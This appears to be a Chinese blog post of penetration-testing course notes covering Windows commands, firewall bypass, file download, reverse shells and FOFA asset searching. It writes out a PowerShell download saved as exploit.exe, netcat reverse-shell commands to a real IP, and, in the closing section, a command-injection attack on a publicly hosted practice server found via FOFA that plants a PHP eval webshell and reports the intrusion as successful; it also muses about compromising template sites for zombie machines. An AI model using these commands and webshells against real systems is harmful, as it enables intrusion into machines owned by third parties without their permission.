  winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

  format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

  md 目录名 创建目录

  replace 源文件 要替换文件的目录 替换文件


  ren 原文件名 新文件名 重命名文件名

  tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

  type 文件名 显示文本文件的内容

  more 文件名 逐屏显示输出文件

  doskey 要锁定的命令=字符

  doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

  taskmgr 调出任务管理器

  chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

  tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

  exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

  path 路径可执行文件的文件名 为可执行文件设置一个路径。

  cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

  regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

  regedit /e 注册表文件名 导出注册表

  cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。

  cacls 文件名 查看文件的访问用户权限列表

  REM 文本内容 在批处理文件中添加注解

  netsh 查看或更改本地网络配置情况

权限

查看某文件-属性-安全,发现有三个用户名:系统、我、管理员们。准确说,如果看到是Administrator,那表示管理员,看到Administrators,表示管理员组。

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

验证Administrators,表示管理员组:

对“此电脑”右键选择管理,找到iris,对iris右键查看属性,查看隶属于,发现iris隶属于Adminstrators用户组

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

windows上最高权限是system,接着是用户所在的管理员权限Administrators,在再下面是users,普通用户组,例如iris新建的一个用户账号,又如使用VPN时,人家服务器会给我们一个user身份,仅能使用服务器的网络,其他则无权。

自带的防火墙的出站&入站规则策略协议

我们渗透测试时,有时候发现关或开防火墙,没有区别,就是因为,自带防火墙的默认策略是允许基于http协议上的通信。

windows自带的防火墙是windows defender,linux自带的是iptables。一般自带的防火墙对出站很宽松,基本没啥限制,对入栈很严格。

但是打入内网进行渗透测试时,我们可能还会用到内网机子之间的tcp、udp等协议去通信,而自带防火墙的默认策略是允许基于http协议上的通信 ,届时咱的tcp等协议就会受到防火墙的限制。

WAF是Web Application Firewall,Web应用程序防火墙,如其名,针对WEB和网站攻击的防火墙,例如安全狗(一个针对服务器的安全防护牌子,就像360那样,官网http://www.safedog.cn/),WAF非系统自带,要站长安装。

实用案例1 - 文件上传下载

学这个有助于在无图形化的界面实现文件上传下载。很多linux服务器没有图形化,我们不可能通过拖拽即可上传攻击脚本,我们能用的只有commang line,学完文件上传下载,我们就能借助系统自带的wget、curl,或者管理员可能安装有的python、ruby、perl、java等环境,写个某语言脚本来实现上传木马。

python -m SimpleHTTPServer 8080有什么作用

这个命令会在当前目录下启动一个Python 内置的简单的 HTTP 服务器,监听在 8080 端口上,用于在浏览器中查看和共享静态文件。当你在终端中执行这个命令后,你可以通过在浏览器中访问 http://localhost:8080 来访问当前目录下的文件。这对于开发和测试前端网页、共享文件等临时需求非常方便。

有个棱角社区,提供了python、php等环境下启用HTTP服务器实现文件上传下载的命令大全。例如python(默认python2)环境下为`python -m SimpleHTTPServer 8080,我们来做个测试,在temp文件夹放置Index.html,里面写上<input type="file">,然后执行命令

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

访问成功:第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

或者我们登上人家服务器的command line后,用linux 自带的wget / curl下载我们的木马到人家服务器上。

Windows可用的多了:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

不知道怎么弄?:打开棱角社区的文件上传模块,以https://forum.ywhack.com/wordlists/httparchive_cgi_pl_2020_11_18.txt为例,分别输入参数

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

得到Windows PowerShell - IWR下的:

powershell.exe -Command "Invoke-WebRequest -Uri http://forum.ywhack.com:80/wordlists/httparchive_cgi_pl_2020_11_18.txt -OutFile exploit.exe"

将上述命令粘贴进入powershell,下载成功:第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

但是我用.txt试验成功,用jpg就失败了。

#实用案例2:反弹shell命令

解决数据回显&解决数据通讯.

回显是什么意思?:

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

例如我们执行了上述命令,输出了白色区域的回显,回显告知我们命令有没有执行成功。

大部分安全工具有这样的毛病,它只负责把你的攻击报文、攻击代码发送给目标服务器,却没有写接受响应的代码(因为创造者懒吧),工具就不能反馈你的攻击是成功还是失败了,也就是没有回显。反弹shell命令有助于解决数据回显。

交互式命令:例如rm 1.txt 系统会等待你输入y / n,这就是交互式命令,又如修改密码

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

大部分安全工具由于不做回显,假如我们攻击代码就是交互式命令如改密码,工具不会显示系统的回复,也没有界面让你写"newpassword"回复过去。反弹shell也可以避免交互式命令带来的“黑客不能输入,系统干等”的窘境。

综合案例1:防火墙绕过-正向连接&反向连接&内网服务器

通常情况下,64位的操作系统可以运行32位的程序,但32位的操作系统无法运行64位的程序。

nc即netcat 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,通过使用 TCP 或 UDP 协议的网络连接去读写数据

如何查看centos的8080端口有没有进程占用

netstat -tuln | grep 8080

netstat -tuln的四个选项是什么意思

netstat命令用于显示网络连接、路由表和网络接口等网络相关信息。

  • -t:表示显示TCP连接信息。

  • -u:表示显示UDP连接信息。

  • -l:表示仅显示处于监听状态的连接。

  • -n:表示以数字形式显示IP地址和端口号,而不使用域名或服务名称。

带选项n会显示fe80::5054:ff:fe6a::123,否则显示VM-8-9-centos:ntp

我们在自己内网windows电脑上安装好netcat,在cmd输入nc -e cmd 62.234.14.252 8080

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

我们在外网linux上执行nc -lvp 8080监听本地的8080端口,然后

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

我们可以用外网服务器通过cmd操作内网电脑了。

exit是cmd的结束小黑框命令,所以exit和ctrl + c都可以终止本次连接。

-e选项允许您在建立连接后执行一个命令。在上述命令中,cmd是要执行的命令。

老师说这串命令可以把自己的cmd交给62.234.14.252的8080端口。这是因为内网电脑使用-e选项执行cmd命令,并将其输入/输出连接到外网电脑的nc进程,从而使外网电脑能够发送命令到内网电脑并接收返回的结果

-l选项表示nc将以监听模式运行,等待来自客户端的连接请求。,-v表示显示详细的输出信息。-p选项用于指定nc监听的端口号。

nc -lvp 8080和nc -lvvp 8080有区别吗

nc -lvvp 8080命令中的额外-v选项表示nc将以更详细的输出模式运行,提供更多的调试信息。这可能包括更详细的连接信息、数据传输的详细日志等。区别在于输出信息的详细程度。

以上操作,反过来,让外网服务器将cli交给内网电脑,直接法是不可行的,因为外网服务器执行nc -e /bin/sh 内网ip 8080时,这个内网IP不是唯一的,各个局域网都可能有该IP,所以数据包丢失了。也能实现,在能直达内网电脑的路由器上做个端口映射、端口转发(好像就是搭个隧道,内网穿透),让数据包从外网服务器出发先找到这个路由器,路由器根据端口映射,将数据包转发给内网电脑。

Linux 的shell有Bourne Shell (sh)、GNU Bourne-Again Shell (bash)、C Shell (csh)、Korn Shell (ksh)、Z Shell (zsh)等,所以除了nc -e /bin/sh 内网ip 8080,也可以是nc -e /bin/bash 内网ip 8080等

老师还做了个实验,如果把外网服务器的防火墙打开(且这个防火墙拒绝8080端口上的入站tcp&udp数据包,毕竟一般严格入站宽松出站嘛),然后就连不上了。

正向连接:即:攻击机主动连接被攻击机。以上述案例的外网防火墙为参照系,win像linux发起连接,linux用nc -lvvp 8080(-l表示等待来自客户端的连接请求)等待被连接,流量对于防火墙是入站。适用于受害主机具有公网ip的情况下。

反向连接:即:被攻击机主动连接攻击机。适用于受害主机出网(或出网且没有公网ip)的情况。例如,受害主机是一台位于内网,并且没有公网ip且能访问互联网的主机,控制主机无法直接通过ip地址访问到受害主机。所以此时需要在控制主机上监听一个端口,让受害机主动连接控制主机,从而实现对控制主机的控制。由于是出站,所以反向连接往往比正向链接更好突破防火墙。

正反向不是绝对的,有A B两台公网IP机子,A执行nc -e /bin/bash Bip 8080,如果A是受害人,从A防火墙看,是出站是反向连接,如果B是受害人,从B防火墙看,是入站是正向连接。

Fofa

FOFA是一款网络空间测绘的搜索引擎,旨在帮助用户以搜索的方式查找公网上的互联网资产,资产不仅包括像谷歌或百度一样的网页,还包括像摄像头、打印机、数据库、操作系统等资产。它像wireshark一样有语法的,比如port="8080"。

网络空间分为公网和内网。FOFA主要针对公网上的资产进行探测,因为侵犯内网的隐私是违法的。

意义:例如白帽子发现某个产品有通用型漏洞的时候,可以通过FOFA的搜索快速地收集到这个产品在全网的资产总量和地区分布,对漏洞影响范围进行判断,并帮助企业应对其网络安全的问题。同样地,对于高校或者机构的研究人员,也可以通过FOFA快速地确认某一款产品在全球的资产分布情况。比如某某厂商旗下的一款摄像头在全球已经部署了多少台,每个国家/地区拥有多少量,可以快速地为他们的研究提供真实的数据支撑能力。

使用案例

比如最近比较火的ChatGPT,我们可以通过在FOFA上搜索网站标题,找到包含ChatGPT关键词的网站。

搜索语法可以是:

title="chatgpt"

找到20w个结果。

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

访问第一条结果:

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

fofa有个IP聚合功能,能查看该IP开放的端口和对应的服务。

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

接下来我们可以加两个筛选项,它们分别是筛选是否拥有域名(is_domain=true)和证书是否可信即未过期(cert.is_valid=true),但后者要钱。为什么要筛选这两项呢?当搭建在公网上的资产,通过这两个筛选判断,可以判断这个网站是否准备长期的运营下去(保证使用的稳定性),否则保存的结果可能很快所有者就将其下线,无法使用了。

body="loading-wrap" && title="chatgpt" && is_domain=true && cert.is_valid=true

点了几个网站发现他们往往使用同几套模板建站。或曰,我发现了一堆相同模板的网站,如果我攻破了模板漏洞,我就收获了一批肉鸡。

扩展

以后想找靶场练习,不用自己搭建了,比如Pikachu,在FOFA搜"pikachu" && country="CN" && title=="Get the pikachu",,几百条在线靶场呢。从这些靶场主人角度考虑,他们将靶场公布在公网,一是有实力反黑客,二是应该将靶场装进docker,这样即使被外人拿到权限了,也是docker里很小的权限。三是用人家靶场做题发现,有超过一半的靶场,比如ping题目,就不能执行ping,应该是有意的。

在cmd里输入ping 62.234.14.252 & ifconfig,会先显示ping结果再显示ipconfig结果

基于此,我们在Pikachu的RCE - exec "ping"靶场上,输入127.0.0.1 & ipconfig 和127.0.0.1 & ifconfig,前者只显示了ping结果,而后者显示如下:

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

据此我们发现这是linux服务器。其实ls和dir等也一样。

基于fofa拿下公网上Pikachu服务器

用fofa找到一个能用的Pikachu靶场后,打开RCE - exec "ping"靶场。

第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

先输入127.0.0.1 & ipconfig 和127.0.0.1 & ifconfig发现是linux服务器,然后127.0.0.1 & lsb_release -a发现是Ubuntu 18.04.2 LTS,

LSB是Linux Standard Base(Linux标准库)的缩写, lsb_release命令 用来输出Linux标准库信息。

-a:显示全部信息,包括LSB、版本号、代号、版本描述信息

然后127.0.0.1 & nc -h发现没有安装netcat,尝试用sudo apt install netcat,发现好像禁用install,那么nc -e /bin/bash ip 8080这条路不行喽。

附:老师攻克的是一台windwos服务器,他在自己云服务器或github、蓝奏云盘等方式存了win版的netcat.exe,下载了软件即可用,然后老师去棱角社区copy了文件下载代码,配合127.0.0.1 & 代码,在对方服务器下载了netcat.exe,接着127.0.0.1 & nc -e cmd 自己服务器IP 8080即可控制对方。

我这台是Ubuntu,改用菜刀,相比netcat,菜刀不要求我有公网IP,也不用在人家服务器执行install(这个过程就算不被禁用,也是个交互式命令...),只要求我能通过WEB访问到脚本。

  1. 127.0.0.1 & echo "<?php @eval(\$_POST['caidao']);?>" > a.php

  2. 127.0.0.1 & ls 发现写入了

  3. 127.0.0.1 & pwd看看路径,猜测http://116.113.36.231:49154/vul/rce/a.php就是脚本

  4. 百度网址,能访问到空白网页,后续省略菜刀建立连接步骤。入侵成功!

- THE END -

AffettoIris

10月16日15:14

最后修改:2023年10月16日
0

共有 1 条评论

回复给 匿名 点击这里取消回复。

  1. 匿名

    飘动的花瓣影响阅读